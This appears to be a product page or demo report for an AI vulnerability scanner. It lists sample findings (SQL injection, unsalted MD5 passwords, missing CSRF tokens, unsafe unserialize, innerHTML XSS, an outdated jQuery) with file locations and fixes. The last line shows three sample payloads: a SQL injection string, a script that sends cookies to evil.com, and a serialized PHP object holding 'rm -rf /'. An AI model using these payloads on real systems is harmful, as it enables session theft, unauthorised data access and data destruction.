CWE-89SQL Injection via concatenated query
src/db/Queries.php:184User input is concatenated directly into a SQL string using mysql_query().
Use PDO with prepared statements and parameterized queries.
AI-powered vulnerability detection, attack simulation, and remediation guidance.
CWE-89src/db/Queries.php:184User input is concatenated directly into a SQL string using mysql_query().
Use PDO with prepared statements and parameterized queries.
CWE-916src/auth/Login.php:42Passwords are stored using unsalted MD5 hashes — trivially crackable.
Migrate to password_hash() with PASSWORD_BCRYPT or Argon2id.
CWE-352src/api/Invoice.php:87POST endpoints accept requests without verifying CSRF tokens.
Add anti-CSRF tokens and validate origin/referer headers.
CWE-502src/api/Webhook.php:23unserialize() is called on data from untrusted webhook source.
Switch to JSON parsing with a strict schema validator.
CWE-79public/js/cart.js:112Item names are rendered via .innerHTML without escaping.
Use textContent or a templating library with auto-escaping.
CWE-1104public/js/vendor/:1Bundled jQuery has multiple known prototype-pollution CVEs.
Upgrade to jQuery 3.7+ or remove in favor of native APIs.
' OR '1'='1' --<script>fetch("evil.com?c="+document.cookie)</script>O:8:"EvilCode":1:{s:4:"exec";s:10:"rm -rf /";}